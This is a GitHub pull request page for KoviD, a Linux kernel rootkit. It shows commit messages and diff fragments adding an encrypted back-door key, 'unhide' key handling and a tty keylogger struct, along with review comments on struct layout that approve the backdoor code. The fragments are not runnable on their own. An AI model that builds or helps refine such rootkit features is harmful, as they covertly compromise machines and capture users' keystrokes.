-
Notifications
You must be signed in to change notification settings - Fork 56
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Kvdev #177
Kvdev #177
Conversation
Just like back-door key, encrypt unhide as well. Also applied drive-by fixes
Also: crypto: re-work API names init Re-organize error exit
Move it from source code to Makefile and highlight important build information.
Also API now expects struct file and list_head Note: multiple contexts untested, unsupported for now.
and remove useless copy modification
This is not a fix, need to work out how it the test will understand the difference
broken by this commit (debug only): get-bdkey get-unhidekey Both commands need now to fetch the keys from mgc
Debug mode only. decrypt and present to user via proc UI.
@@ -32,7 +32,7 @@ COMPILER_OPTIONS := -Wall -Wno-vla -DPROCNAME='"$(PROCNAME)"' \ | |||
EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS} | |||
|
|||
SRC := src/${OBJNAME}.c src/pid.c src/fs.c src/sys.c \ | |||
src/sock.c src/util.c src/vm.c src/crypto.c | |||
src/sock.c src/util.c src/vm.c src/crypto.c src/tty.c |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can you please add this into https://github.com/carloslack/KoviD/blob/master/CMakeLists.txt#L109 as well? It is not being used by default (yet), but at least let it compile, so just add that source into the list.
#ifndef __AUTO_H | ||
#define __AUTO_H | ||
|
||
static uint64_t __attribute__((unused)) auto_bdkey = 0x0000000000000000; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Nice
#ifdef DEBUG_RING_BUFFER | ||
#pragma message "!!! Be careful: Build kovid in DEBUG mode !!!" | ||
#endif | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why do you think this message is not useful anymore?
@@ -476,19 +472,51 @@ static const match_table_t tokens = { | |||
{ Opt_unhide_directory, "unhide-directory=%s" }, | |||
|
|||
{ Opt_journalclt, "journal-flush" }, | |||
{ Opt_fetch_base_address, "base-address=%d" }, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks :D
src/kovid.c
Outdated
struct userdata_t { | ||
bool ok; | ||
int op; | ||
uint64_t address_value; | ||
}; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
struct userdata_t {
uint64_t address_value;
int op;
bool ok;
};
better layout for the struct, right?
snprintf(bits, 32, "%lx", auto_bdkey); | ||
set_elfbits(bits); | ||
} break; | ||
case Opt_get_bdkey: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
cool, looks good
src/kovid.c
Outdated
struct check_unhidekey_t { | ||
bool ok; | ||
uint64_t address_value; | ||
}; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
struct check_unhidekey_t {
uint64_t address_value;
bool ok;
};
src/tty.c
Outdated
struct keylog_t { | ||
char buf[KEY_LOG_BUF_MAX+2]; /** newline+'\0' */ | ||
int offset; | ||
uid_t uid; | ||
struct list_head list; | ||
}; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
the layout can be better
It is a weakness having them Suppose you want to find the rootkit? $ >kv $ ls kv
No description provided.